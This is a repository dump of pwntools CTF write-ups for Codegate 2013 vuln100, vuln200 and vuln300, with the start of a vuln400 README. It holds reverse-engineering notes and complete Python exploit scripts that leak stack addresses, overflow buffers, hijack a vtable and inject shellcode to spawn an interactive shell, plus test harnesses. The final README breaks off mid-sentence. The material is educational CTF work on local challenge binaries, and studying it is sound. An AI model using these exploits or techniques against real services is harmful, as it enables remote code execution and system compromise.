├── 2013 ├── codegate-quals │ ├── vuln100 │ │ ├── 94dd6790cbf7ebfc5b28cc289c480e5e │ │ ├── README.md │ │ ├── doit.py │ │ └── harness.py │ ├── vuln200 │ │ ├── .gitignore │ │ ├── 5b7420a5bcdc1da85bccc62dcea4c7b8 │ │ ├── README.md │ │ ├── doit.py │ │ └── harness.py │ ├── vuln300 │ │ ├── 8ff953dd97c4405234a04291dee39e0b │ │ ├── README.md │ │ ├── doit.py │ │ └── harness.py │ └── vuln400 │ │ ├── 7b80d4d56c282a310297336752c589b7 │ │ ├── README.md │ │ ├── doit.py │ │ └── harness.py ├── pctf │ ├── pork │ │ ├── README │ │ ├── doit.py │ │ ├── harness.py │ │ ├── pork-8c2fdf93e211c7358e0192a24bc951843da672b1 │ │ └── pork-patched │ ├── ropasaurus │ │ ├── doit.py │ │ ├── harness.py │ │ └── ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d │ └── ropasaurus2 │ │ ├── doit.py │ │ ├── libc.so.6-f85c96c8fc753bfa75140c39501b4cd50779f43a │ │ └── ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d └── rwthCTF │ └── trafman │ ├── pwn_trafman.py │ └── trafman ├── 2014 ├── defcon-finals │ ├── eliza-x86-printf │ │ ├── README.md │ │ ├── eliza_x86 │ │ ├── exploit.py │ │ ├── flag.txt │ │ └── transcript.txt │ └── wdub-v1 │ │ ├── README.md │ │ ├── exploit.py │ │ ├── images │ │ ├── image00.png │ │ ├── image01.png │ │ ├── image02.png │ │ ├── image03.png │ │ ├── image04.png │ │ ├── image05.png │ │ ├── image06.png │ │ ├── image07.png │ │ ├── image08.png │ │ ├── image09.png │ │ ├── image10.png │ │ ├── image11.png │ │ ├── image12.png │ │ ├── image13.png │ │ ├── image14.png │ │ └── image15.png │ │ ├── patch.py │ │ └── wdub ├── defcon-quals │ ├── babyfirst-heap │ │ ├── babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c │ │ ├── doit.py │ │ └── harness.py │ └── bbgp │ │ ├── bbgp_7cdbfdae936b3c6ed10588119a8279a0 │ │ ├── doit.py │ │ └── harness.py ├── gits-teaser │ └── citadel │ │ ├── README │ │ ├── citadel │ │ ├── doit.py │ │ └── harness.py ├── hacklu │ └── holy-moses │ │ ├── expl.py │ │ └── saloon └── plaid │ └── whee │ └── writeup.txt ├── 2016 └── defcon_quals │ ├── glados │ ├── glados │ ├── glados_noalarm_noaslr │ ├── glados_original │ └── win.py │ └── heapfun │ ├── heapfun4u │ └── win.py ├── LICENSE ├── README.md ├── run_all_tests.py ├── srop-examples ├── srop │ ├── doit.py │ ├── harness.py │ ├── poc-32 │ └── poc-32.c └── srop2 │ ├── doit.py │ ├── harness.py │ ├── poc-nasm │ └── poc-nasm.S └── wargames ├── overthewire-vortex ├── level0 │ └── win.py ├── level1 │ ├── README.md │ ├── transcript.txt │ └── win.py ├── level10 │ ├── README.md │ ├── ticks.c │ ├── transcript.txt │ ├── vortex10 │ └── win.py ├── level11 │ ├── README.md │ ├── phkmalloc.c.diff │ ├── transcript.txt │ ├── vortex11 │ └── win.py ├── level12 │ ├── README.md │ ├── r.sh │ ├── transcript.txt │ ├── vortex.labs.overthewire.org │ │ ├── lib │ │ │ └── ld-linux.so.2 │ │ └── lib32 │ │ │ ├── libc.so.6 │ │ │ └── libpthread.so.0 │ ├── vortex12 │ └── win.py ├── level13 │ ├── README.md │ ├── transcript.txt │ ├── vortex.labs.overthewire.org │ │ ├── lib │ │ │ └── ld-linux.so.2 │ │ └── lib32 │ │ │ └── libc.so.6 │ ├── vortex13 │ └── win.py ├── level2 │ ├── README.md │ ├── transcript.txt │ └── win.py ├── level3 │ ├── README.md │ ├── source.c │ ├── transcript.txt │ ├── vortex3 │ └── win.py ├── level4 │ ├── README.md │ ├── exec.py │ ├── leak.c │ ├── libformatstr │ │ ├── README.md │ │ ├── __init__.py │ │ ├── core.py │ │ ├── fmtemul.py │ │ ├── guess.py │ │ └── pattern.py │ ├── transcript.txt │ ├── vortex4 │ └── win.py ├── level5 │ ├── README.md │ ├── transcript.txt │ └── win.py ├── level6 │ ├── README.md │ ├── transcript.txt │ ├── vortex6 │ └── win.py ├── level7 │ ├── README.md │ ├── crc32.py │ ├── crc32.py.diff │ ├── r.sh │ ├── transcript.txt │ ├── vortex7 │ └── win.py ├── level8 │ ├── README.md │ ├── r.sh │ ├── transcript.txt │ ├── vortex8 │ └── win.py ├── level9 │ ├── README.md │ ├── transcript.txt │ └── win.py └── test.sh └── pwnablekr └── pwn_unexploitable.py /2013/codegate-quals/vuln100/94dd6790cbf7ebfc5b28cc289c480e5e: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2013/codegate-quals/vuln100/94dd6790cbf7ebfc5b28cc289c480e5e -------------------------------------------------------------------------------- /2013/codegate-quals/vuln100/README.md: -------------------------------------------------------------------------------- 1 | # Codegate 2013 Vuln 100 Writeup 2 | 3 | ## Initial Investigation 4 | 5 | Simple forking server listens on port 6666. 6 | 7 | $ checksec.sh --file ./94dd6790cbf7ebfc5b28cc289c480e5e 8 | RELRO STACK CANARY NX PIE RPATH RUNPATH FILE 9 | Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH ./94dd6790cbf7ebfc5b28cc289c480e5e 10 | 11 | After answering some trivia, it asks for your name. 12 | 13 | $ nc localhost 6666 14 | Welcome to CODEGATE2013. 15 | This is quiz game. 16 | Solve the quiz. 17 | 18 | It is Foot Ball Club. This Club is an English Primier league football club. This Club founded 1886. This club Manager Arsene Wenger. This club Stadium is Emirates Stadium. What is this club? (only small letter) 19 | arsenal 20 | good!1 21 | It is a royal palace locate in northern Seoul, South Korea. First constructed in 1395, laster burned and abandoned for almost three centuries, and then reconstructed in 1867, it was the main and largest place of the Five Grand Palaces built by the joseon Dynasty. What is it?(only small letter) 22 | gyeongbokgung 23 | good!2 24 | He is South Korean singer, songwriter, rapper, dancer and record producer. He is known domestically for his humorous videos and stage performances, and internationally for his hit single Gangnam Style. Who is he?(only small letter) 25 | psy 26 | good!3 27 | rank write! your nickname: 28 | ebeip90 29 | ebeip9 very good ranke 30 | game the end 31 | 32 | The thing to note immediately is that the name was truncated. `nc` will wait until you hit enter to send the data, and terminate it with `'\n\x00'`. Let's try this again in Python. 33 | This example makes use of pwnies' [pwntools](https://github.com/pwnies/pwntools), see their github repo for more information. 34 | 35 | ```python 36 | from pwn import * 37 | r = remote('localhost',6666) 38 | >>> [+] Opening connection to localhost on port 6666: Done 39 | r.sendline('arsenal') 40 | r.recvrepeat() 41 | >>> [+] Recieving all data: Done 42 | r.sendline('gyeongbokgung') 43 | r.recvrepeat() 44 | >>> [+] Recieving all data: Done 45 | r.sendline('psy') 46 | r.recvrepeat() 47 | >>> [+] Recieving all data: Done 48 | r.sendline('A\x00') 49 | print hexdump(r.recvrepeat()) 50 | 00000000 41 00 7c 40 ff 7f 00 00 a0 98 ae ed 52 7f 00 00 |A.|@........R...| 51 | 00000010 00 00 00 00 00 00 00 00 40 7e 7c 40 ff 7f 00 00 |........@~|@....| 52 | 00000020 90 0a 40 00 00 00 00 00 40 a7 e9 ed 52 7f 00 00 |..@.....@...R...| 53 | ... 54 | ``` 55 | 56 | ## Reverse Engineering the Binary 57 | 58 | Awesome, looks liek we're leaking data over the connection. Let's take a look in IDA. 59 | After getting past the trivia logic, we see the following code. 60 | 61 | ```c 62 | // 0401133: 63 | send("good!3\n", 7); 64 | send("rank write! your nickname:\n", 0x1c); 65 | recv(buffer, 0x800); 66 | recv(buffer, 0x800); 67 | sub_400C69(buffer); 68 | ``` 69 | 70 | It looks something like this: 71 | 72 | ```c 73 | void sub_400C69(char* userInput) { 74 | char buffer[0x108]; 75 | char* p_buffer = buffer; 76 | 77 | // Stack buffer overflow! 78 | memcpy(buffer, userInput, strlen(userInput)); 79 | strcpy(p_buffer, buffer) 80 | 81 | g_buffer = p_buffer; 82 | } 83 | ``` 84 | 85 | After returning from `sub_400C69`, we send the user back their name: 86 | 87 | ```c 88 | send(sock, g_buffer, strlen(g_buffer)-1); // Leak! 89 | send(sock, " very good ranker ", ...); 90 | send(sock, "\ngame the end\n", ...)'' 91 | ``` 92 | 93 | So far we have two distinct bugs -- `strlen(input)-1` and an unchecked memcpy of controlled 94 | input into a stack buffer. The stack is executeable, and since this is a forking server, 95 | the stack addresses will not change in between runs. 96 | 97 | 98 | ## Exploitation 99 | 100 | Exploitation will be two-step: 101 | 102 | 1. Find the stack address by sending a very short name string to dump the stack. 103 | 2. Send a crafted buffer to overflow the strcpy() destination pointer, and point 104 | it at , where is the number of bytes between the destination 105 | pointer and the return address. 106 | The memcpy() will overwrite the destination pointer, and the strcpy() 107 | will overwrite the return address. 108 | This will cause our buffer to start execution at offset +X. 109 | 110 | **Keywords**: codegate 2013 vuln vuln100 vulnerability exploit Very_G00d_St6rt!!_^^ -------------------------------------------------------------------------------- /2013/codegate-quals/vuln100/doit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | context(os='linux',arch='amd64') 4 | 5 | # If a HOST is given on the cmdline, then assume that it is already running there 6 | if 'HOST' in pwn.args: 7 | HOST = pwn.args['HOST'] 8 | PORT = int(pwn.args.get('PORT', 6666)) 9 | else: 10 | # Otherwise start the binary locally 11 | HOST = 'localhost' 12 | PORT = 6666 13 | service = process('./94dd6790cbf7ebfc5b28cc289c480e5e') 14 | sleep(0.1) 15 | 16 | # 17 | # The first thing you must do is solve a riddle on the challenge 18 | # Create a little helper to do this. 19 | # 20 | def solve_riddle(r): 21 | r.sendlineafter('\x00', 'arsenal') 22 | r.sendlineafter('\x00', 'gyeongbokgung') 23 | r.sendlineafter('\x00', 'psy') 24 | r.recvuntil('\x00') 25 | log.success("Solved riddle") 26 | 27 | # 28 | # By sending too little data, we can leak stack data 29 | # 30 | log.info("Dumping stack...") 31 | with remote(HOST, PORT) as r: 32 | solve_riddle(r) 33 | r.send('A' + '\x00' * 7) 34 | stack_leak = r.recvall() 35 | 36 | log.info("Stack leak:\n%s" % hexdump(stack_leak[:0x30], 8)) 37 | 38 | 39 | # 40 | # The overall stack structure looks like below, when dumped at 400CD0. 41 | # 42 | # Note that rbp-8, -0, and +8 are displayed below. These correspond to: 43 | # 44 | # - p_buffer 45 | # - frame pointer 46 | # - return address 47 | # 48 | # gdb-peda$ telescope $rbp-8 3 49 | # 0000| 0x7fffffffd1b8 --> 0x7fffffffd0b0 --> 0x7fffffffd168 --> 0x0 50 | # 0008| 0x7fffffffd1c0 --> 0x7fffffffd600 --> 0x0 51 | # 0016| 0x7fffffffd1c8 --> 0x40121e (mov rax,QWORD PTR [rip+0x200eb3] # 0x6020d8) 52 | # 53 | # Here we see the actual arguments passed in to the memcpy. 54 | # 55 | # gdb-peda$ context code 2 56 | # -------------------------------------code-------------------------------------] 57 | # => 0x400cd0: call 0x400a80 58 | # Guessed arguments: 59 | # arg[0]: 0x7fffffffd0b0 --> 0x7fffffffd168 --> 0x0 60 | # arg[1]: 0x7fffffffd6e8 --> 0x41 ('A') 61 | # arg[2]: 0x1 62 | # 63 | # And this is the data that ends up in 'stack_leak'. 64 | # Note that it starts with 'A\x00', our supplied name. 65 | # 66 | # 00000000 41 00 ff ff ff 7f 00 00 |A.......| 67 | # 00000008 a0 68 64 f7 ff 7f 00 00 |.hd.....| 68 | # 00000010 00 00 00 00 00 00 00 00 |........| 69 | # 00000018 c0 d1 ff ff ff 7f 00 00 |........| 70 | # 00000020 90 0a 40 00 00 00 00 00 |..@.....| 71 | # 00000028 40 77 9f f7 ff 7f 00 00 |@w......| 72 | # 73 | # At +0x18 is the first full stack address, 0x7fffffffd1c0, 74 | # which we will use as a reference point to calculate all other 75 | # addresses in the actual binary (vs. the addresses in the debugger), 76 | # 77 | 78 | addresses = { 79 | 'memcpy_src': 0x7fffffffd6e8, 80 | 'memcpy_dst': 0x7fffffffd0b0, 81 | 'strcpy_dst_deref': 0x7fffffffd1b8, 82 | 'frame': 0x7fffffffd1c0, 83 | 'return': 0x7fffffffd1c8 84 | } 85 | 86 | debugger_stack = 0x7fffffffd1c0 87 | actual_stack = u64(stack_leak[0x18:][:8]) 88 | 89 | log.info("Remote addresses:") 90 | for k in addresses.keys(): 91 | addr = addresses[k] 92 | addr -= debugger_stack 93 | addr += actual_stack 94 | log.info("%x %s" % (addr, k)) 95 | addresses[k] = addr 96 | 97 | """ 98 | In order to exploit, we have to survive the strcpy(). 99 | 100 | Since we know where everything on the stack is, this is almost straightfoward. 101 | 102 | Instead of directly overwriting the return address, we will overwrite p_dest 103 | such that the strcpy() will effectively shift our buffer up the stack to 104 | overwrite some of the least significant bytes of the return address. 105 | 106 | before post-memcpy post-strcpy 107 | ------ ------ ------ 108 | buffer <-. buffer buffer <-. 109 | ... | ... ... | 110 | ... | ... ... | 111 | ... | ... ... | 112 | ----- | ----- ... | 113 | pbuffer -` XXuffer . ... | 114 | ----- ----- | ----- | 115 | frame frame | frame | 116 | ----- ----- | ----- | 117 | retaddr retaddr <` XXtaddr -` 118 | ----- ----- ----- 119 | """ 120 | 121 | sizeof_buffer = 0x108 122 | nop = asm(shellcraft.nop()) 123 | pad = nop 124 | delta = addresses['return'] - addresses['strcpy_dst_deref'] 125 | 126 | buf = asm(shellcraft.dupsh(4)) 127 | buf = buf.ljust(sizeof_buffer, pad) 128 | buf += p64(addresses['memcpy_dst'] + delta) 129 | 130 | log.info("Exploit buf:\n%s" % hexdump(buf, 8)) 131 | 132 | with remote(HOST, PORT, timeout=0.5) as r: 133 | solve_riddle(r) 134 | r.send(buf) 135 | r.interactive() 136 | 137 | if service: 138 | service.close() 139 | -------------------------------------------------------------------------------- /2013/codegate-quals/vuln100/harness.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | from pwn import * 3 | context.log_level = 'CRITICAL' 4 | 5 | with tempfile.NamedTemporaryFile() as fd: 6 | s = randoms(12) 7 | fd.write(s) 8 | fd.flush() 9 | 10 | try: 11 | p = process('./94dd6790cbf7ebfc5b28cc289c480e5e') 12 | sploit = process(["./doit.py", "SILENT", "HOST=localhost", "PORT=6666"]) 13 | 14 | sleep(2) 15 | sploit.sendline("base64 " + fd.name) 16 | if sploit.recvline().strip() == b64e(s): 17 | print "ok" 18 | else: 19 | print "not ok" 20 | finally: 21 | p.close() 22 | sploit.close() 23 | -------------------------------------------------------------------------------- /2013/codegate-quals/vuln200/.gitignore: -------------------------------------------------------------------------------- 1 | dump.txt 2 | -------------------------------------------------------------------------------- /2013/codegate-quals/vuln200/5b7420a5bcdc1da85bccc62dcea4c7b8: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2013/codegate-quals/vuln200/5b7420a5bcdc1da85bccc62dcea4c7b8 -------------------------------------------------------------------------------- /2013/codegate-quals/vuln200/README.md: -------------------------------------------------------------------------------- 1 | # Codegate 2013 Vuln 200 Writeup 2 | 3 | ## Initial Analysis 4 | 5 | It's a 32-bit binary with no mitigations. 6 | 7 | $ file ./94dd6790cbf7ebfc5b28cc289c480e5e 8 | ./94dd6790cbf7ebfc5b28cc289c480e5e: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xce5456409e1bfe207cd58c5b77ce99125d3b8d0f, stripped 9 | $ checksec.sh --file 94dd6790cbf7ebfc5b28cc289c480e5e 10 | RELRO STACK CANARY NX PIE RPATH RUNPATH FILE 11 | Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 94dd6790cbf7ebfc5b28cc289c480e5e 12 | 13 | Unfortunately, it doesn't appear to start out of the box: 14 | 15 | $ ./5b7420a5bcdc1da85bccc62dcea4c7b8 16 | [2] + 11123 segmentation fault ./5b7420a5bcdc1da85bccc62dcea4c7b8 17 | 18 | So let's dive into the disassembly. 19 | 20 | ## Disassembly & Reversing 21 | 22 | Right off the bat, we see that there's a simple ptrace anti-debugging check. 23 | This doesn't actually do anything. Ignore it. 24 | 25 | .text:08048ABE E8 AD FC FF FF call _ptrace 26 | .text:08048AC3 85 C0 test eax, eax 27 | .text:08048AC5 79 0C jns short loc_8048AD3 28 | .text:08048AC7 C7 04 24 E6 9A+ mov dword ptr [esp], offset s ; "Debugger Detected!!!" 29 | .text:08048ACE E8 DD FD FF FF call _puts 30 | .text:08048AD3 31 | 32 | After creating a listener socket, the process forks immediately. 33 | The parent attempts to log this to `./logs/pwn2log`, so let's create that directory. 34 | 35 | v27 = fopen("./logs/pwn2log", "a"); 36 | fprintf(v27, "pid = %u", v28, 0); 37 | fprintf(v27, "\nLaunched into background (PID: %d)\n\n", v28); 38 | fclose(v27); 39 | 40 | Now let's try again: 41 | 42 | $ gdb ./5b7420a5bcdc1da85bccc62dcea4c7b8 43 | gdb-peda$ r 44 | Starting program: /home/user/Desktop/CTF/Codegate 2013/Vulnerable/200/5b7420a5bcdc1da85bccc62dcea4c7b8 45 | [New process 13200] 46 | 47 | Great! Let's connect and see what we're dealing with: 48 | 49 | $ nc localhost 7777 ⏎ 50 | CODEGATE 2013 Util service! 51 | [*] md5 52 | [*] help 53 | [*] base64 encode 54 | [*] base64 decode 55 | [*] quit 56 | 57 | Cool. The actual logic for this menu is in `sub_8048EEB`. 58 | What immediately stands out is an undocumented `"write"` command. 59 | 60 | else // write 61 | { 62 | dump_file("BEFORE", dest_200); 63 | write(fd, "write running\nCopying bytes", 0x1Cu); 64 | memcpy(dest_200, buffer_190h + 5, bytes_recvd - 5); 65 | dump_file("AFTER", dest_200); 66 | write(fd, "\nDONE\nReturn to the main\n", 0x19u); 67 | result = 1; 68 | } 69 | 70 | int __cdecl dump_file(char *before_after, char *dest_200) 71 | { 72 | FILE *stream; // [sp+24h] [bp-24h]@1 73 | _DWORD *dwords; // [sp+28h] [bp-20h]@1 74 | signed int i; // [sp+2Ch] [bp-1Ch]@1 75 | dwords = dest_200; 76 | stream = fopen("./dump.txt", "a"); 77 | fprintf(stream, "%s\n", before_after); 78 | for ( i = 0; i <= 239; i += 16 ) 79 | { 80 | fprintf(stream, "%.8x: %.8x %.8x %.8x %.8x\n", dwords, *dwords, dwords[1], dwords[2], dwords[3]); 81 | dwords += 4; 82 | } 83 | fputc('\n', stream); 84 | return fclose(stream); 85 | } 86 | 87 | So this simply writes raw stack data to a log file. The first pass, the data is zeroed out, but then our data (except for the characters "read ") are copied into the buffer and dumped. 88 | 89 | ### Buffer Overflow 90 | 91 | The issue here is that the `memcpy()` is effectively this: 92 | 93 | char input_buffer[0x200]; 94 | char memcpy_buffer[200]; 95 | int bytes_recvd = recv(fd, input_buffer, 0x200); 96 | memcpy(memcpy_buffer, input_buffer, bytes_recvd); 97 | 98 | So an unchecked memcpy. Let's see if we can blindly kill the return address, and find out how far 99 | into our buffer we need to write to control execution. 100 | This example makes use of pwnies' [pwntools](https://github.com/pwnies/pwntools), see their github repo for more information. 101 | 102 | #!/usr/bin/env python 103 | from pwn import * 104 | r = remote('localhost', 7777) 105 | r.clean(1) 106 | r.send('write ' + de_bruijn(0x200)) 107 | 108 | And we do get a crash, with lots of the register context controlled. 109 | 110 | [----------------------------------registers-----------------------------------] 111 | EAX: 0x1 112 | EBX: 0x61616763 ('cgaa') 113 | ECX: 0xf7c39688 --> 0x9 ('\t') 114 | EDX: 0x19 115 | ESI: 0x61616863 ('chaa') 116 | EDI: 0x61616963 ('ciaa') 117 | EBP: 0x61616a63 ('cjaa') 118 | ESP: 0xffffc620 ("claacmaacnaacoaa"...) 119 | EIP: 0x61616b63 ('ckaa') 120 | 121 | Given that our buffer is 0x200 bytes long, let's find out where the return address is overwritten 122 | in our buffer. 123 | 124 | $ python -c "print hex($(cyclic -o ckaa))" 125 | 0xef 126 | 127 | ### ASLR Bypass 128 | 129 | NX is disabled for the binary, so the stack is executeable -- but the stack location is still randomized. Let's look around a bit and see if we can't find anything else. 130 | 131 | From looking at the other functionality, we see that the functionality for the `base64 decode` command just reads 0x100 bytes of Base64-encoded data, and decodes it into a static buffer within the module. All we have to do is send our shellcode as Base64, and set the return address to this buffer. 132 | 133 | Luckily, we don't even have to know anything about base64 logic, since the server will do everything for us (it also has an `encode` option). 134 | 135 | ## Exploitation 136 | 137 | Two steps: 138 | 139 | 1. Get our shellcode in the base64 decode buffer 140 | 2. Send overflow to kill return address, and point it at the decode buffer 141 | 142 | Overall, this challenge was much easier than the Vuln100. 143 | -------------------------------------------------------------------------------- /2013/codegate-quals/vuln200/doit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | context(os='linux', arch='i386') 4 | 5 | # If a HOST is given on the cmdline, then assume that it is already running there 6 | if 'HOST' in pwn.args: 7 | HOST = pwn.args['HOST'] 8 | PORT = int(pwn.args.get('PORT', 7777)) 9 | else: 10 | # Otherwise start the binary locally 11 | HOST = 'localhost' 12 | PORT = 7777 13 | process('./5b7420a5bcdc1da85bccc62dcea4c7b8') 14 | sleep(0.1) 15 | 16 | r = remote('localhost', 7777, timeout=0.5) 17 | r.clean(1) 18 | 19 | # File Descriptors: 20 | # 0,1,2: Std In/Out/Err 21 | # 3: Listenfd 22 | # 4: Clientfd 23 | shellcode = asm(shellcraft.dupsh(4)) 24 | 25 | ### Send shellcode to get base64 back 26 | log.info("Sending shellcode") 27 | r.sendline('base64 encode') 28 | r.clean(1) 29 | r.sendline(shellcode) 30 | encoded_shellcode = r.recvrepeat().strip() 31 | r.sendline('') 32 | 33 | ### Move shellcode buffer to predictable location 34 | log.info("Retrieving shellcode to copy it into static buffer") 35 | r.sendline('base64 decode') 36 | r.clean(1) 37 | r.sendline(encoded_shellcode) 38 | shellcode_back = r.recv(len(shellcode)).strip() 39 | assert shellcode == shellcode_back 40 | r.sendline('') 41 | 42 | ### Overflow 43 | overflow = 'A'*(0xef) # bytes required to hit return address 44 | overflow += p32(0x0804F0E0) # decode buffer 45 | 46 | log.info("Sending overflow:\n%s" % hexdump(overflow)) 47 | r.sendline('write ' + overflow) 48 | r.clean(1) 49 | 50 | log.info("Shell spawned...") 51 | r.interactive() 52 | -------------------------------------------------------------------------------- /2013/codegate-quals/vuln200/harness.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | from pwn import * 3 | import os, signal 4 | context.log_level = 1000 5 | 6 | with tempfile.NamedTemporaryFile() as fd: 7 | s = randoms(12) 8 | fd.write(s) 9 | fd.flush() 10 | 11 | try: 12 | service = process('./5b7420a5bcdc1da85bccc62dcea4c7b8') 13 | p = process(["./doit.py", "SILENT", "HOST=localhost", "PORT=7777"]) 14 | 15 | p.sendline("base64 " + fd.name) 16 | if p.recvline(timeout = 10).strip() == b64e(s): 17 | print "ok" 18 | else: 19 | print "not ok" 20 | finally: 21 | p.close() 22 | os.kill(service.proc.pid, signal.SIGKILL) 23 | -------------------------------------------------------------------------------- /2013/codegate-quals/vuln300/8ff953dd97c4405234a04291dee39e0b: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2013/codegate-quals/vuln300/8ff953dd97c4405234a04291dee39e0b -------------------------------------------------------------------------------- /2013/codegate-quals/vuln300/README.md: -------------------------------------------------------------------------------- 1 | # Codegate 2013 Vuln 300 Writeup 2 | 3 | ## Initial Analysis 4 | 5 | The binary accepts data over stdin/stdout, and spits back at you a bunch of printable characters, appended with a number of your choosing. 6 | 7 | $ checksec.sh --file 8ff953dd97c4405234a04291dee39e0b 8 | RELRO STACK CANARY NX PIE RPATH RUNPATH FILE 9 | No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 8ff953dd97c4405234a04291dee39e0b 10 | $ file 8ff953dd97c4405234a04291dee39e0b 11 | 8ff953dd97c4405234a04291dee39e0b: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, BuildID[sha1]=0xe2aac24b3214869f3b7173a83dac8115ae4cd8ba, stripped 12 | 13 | Example output 14 | 15 | ./8ff953dd97c4405234a04291dee39e0b 16 | Input Num : 10 17 | Input Msg : 10 18 | Reply : 19 | ABCDEFGHIJ10 20 | 21 | The immediate thing I'd think with this problem is to provide just-too-large values, and overwrite something with the data that's appended. Let's see if we can stick binary data on the end. 22 | 23 | python <vtable->vfunc(obj); 54 | 55 | Note the virtual call at the very end. Let's dig into `sub_8048840`. 56 | 57 | char *__cdecl sub_8048840(obj *obj, char *src_800h, int count) 58 | { 59 | char *result; // eax@5 60 | if ( count > 0x7FF ) 61 | { 62 | result = strcpy(obj->string_800h, src_800h); 63 | } 64 | else 65 | { 66 | for ( i = 0; (count ^ (count >> 31)) - (count >> 31) > i; ++i ) 67 | obj->string_800h[i] = i + 'A'; 68 | result = strncpy(&obj->string_800h[count], src_800h, 0x800 - ((count ^ (count >> 31)) - (count >> 31))); 69 | } 70 | return result; 71 | } 72 | 73 | What immediately stands out is the signed `int count`, which is only checked for an upper bound (this is the value we provide first). Later on, some weird logic is done with bit-shifting. Let's double-check the signed check in disassembly: 74 | 75 | cmp [ebp+count], 7FFh 76 | jg loc_80488DC 77 | 78 | Yep. Here's the disassembly that IDA chokes on so badly: 79 | 80 | mov eax, [ebp+count] 81 | mov edx, eax 82 | sar edx, 1Fh 83 | mov eax, edx 84 | xor eax, [ebp+count] 85 | sub eax, edx 86 | mov edx, ds:g_counter 87 | cmp eax, edx 88 | setnle al 89 | 90 | A quick Google on "sar 0x1F xor" gives us a first hit of ["Absolute value in asm"](http://dustri.org/b/absolute-value-in-asm.html), which gives us: 91 | 92 | sar edx, 0x1f 93 | xor eax, edx 94 | sub eax, edx 95 | 96 | Yep, that's what it looks like. So as long as `abs(count) > i`, it'll keep iterating. No good. 97 | 98 | ### VTable Overwrite 99 | 100 | However, right after the loop, there's the `strncpy` nugget which blindly accepts `count` as an index into the string. 101 | 102 | We can supply an index of `-4`, and overwrite the `vtable` entry on the object. As we found out earlier, we can supply raw binary data to be appended (as long as it is NULL-free) to the buffer. In this case, it would really be 'pre-ended'. The NULL limitation isn't really an issue, as the binary's address has no NULLs in it, and PIE is disabled. If we had an ASLR bypass, 103 | 104 | Once we've overwritten the vtable pointer, back in the main routine we get this: 105 | 106 | obj->vtable->vfunc(obj); 107 | 108 | Which is effectively a controlled function call, with non-NULL data that we control as the first argument. Recall earlier that NX is disabled, so if our data is ever copied to a static buffer, we can win quite easily. 109 | 110 | In fact, this is exactly the case as in pwn200 -- the data from the second argument is copied into a large, statically-addressed buffer at `080491E0`. All we need to do is fake a vtable. 111 | 112 | ## Exploitation 113 | 114 | 1. Provide a negative value (`-8`) for the `strncpy` to overwrite the `vtable` pointer of our heap object. 115 | 2. Create a fake vtable at `080491E0` by passing in `080491E4` as the first four bytes of the secondary buffer. Add `080491E0` after that, since this will actually nuke the `vtable` pointer. Add our shellcode after that. -------------------------------------------------------------------------------- /2013/codegate-quals/vuln300/doit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | context(os='linux',arch='i386') 4 | 5 | # If a HOST is given on the cmdline, then assume that it is already running there 6 | if 'HOST' in pwn.args: 7 | HOST = pwn.args['HOST'] 8 | PORT = int(pwn.args.get('PORT', 7777)) 9 | r = remote(HOST, PORT) 10 | else: 11 | # Otherwise start the binary locally 12 | r = process('./8ff953dd97c4405234a04291dee39e0b') 13 | 14 | r.clean(1) 15 | 16 | # Underflow 17 | r.sendline('-8') 18 | r.clean(1) 19 | 20 | # Win 21 | buf = '' 22 | buf += p32(0x80491E8) 23 | buf += p32(0x80491E0) 24 | buf += asm(shellcraft.sh()) 25 | 26 | log.info("Sending payload:\n%s" % hexdump(buf)) 27 | 28 | r.sendline(buf) 29 | r.clean(1) 30 | 31 | # Shell 32 | r.interactive() 33 | -------------------------------------------------------------------------------- /2013/codegate-quals/vuln300/harness.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | from pwn import * 3 | 4 | context.log_level = 1000 5 | with tempfile.NamedTemporaryFile() as fd: 6 | s = randoms(12) 7 | fd.write(s) 8 | fd.flush() 9 | 10 | try: 11 | l = listen(0) 12 | l.spawn_process('./8ff953dd97c4405234a04291dee39e0b') 13 | p = process(["./doit.py", "SILENT", "HOST=localhost", "PORT=" + str(l.lport)]) 14 | 15 | p.sendline("base64 " + fd.name) 16 | if p.recvline(timeout = 10).strip() == b64e(s): 17 | print "ok" 18 | else: 19 | print "not ok" 20 | finally: 21 | l.close() 22 | p.close() 23 | -------------------------------------------------------------------------------- /2013/codegate-quals/vuln400/7b80d4d56c282a310297336752c589b7: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2013/codegate-quals/vuln400/7b80d4d56c282a310297336752c589b7 -------------------------------------------------------------------------------- /2013/codegate-quals/vuln400/README.md: -------------------------------------------------------------------------------- 1 | # Codegate 2013 Vuln 400 Writeup 2 | 3 | ## Initial Investigation 4 | 5 | Cool, we're actually getting to something with mitigations! 6 | 7 | checksec.sh --file 7b80d4d56c282a310297336752c589b7 8 | RELRO STACK CANARY NX PIE RPATH RUNPATH FILE 9 | Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 7b80d4d56c282a310297336752c589b7 10 | 11 | 7b80d4d56c282a310297336752c589b7: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xff0014df6d9c8b3dfb72355bc23d76e370ac5687, stripped 12 | 13 | Let's see what it 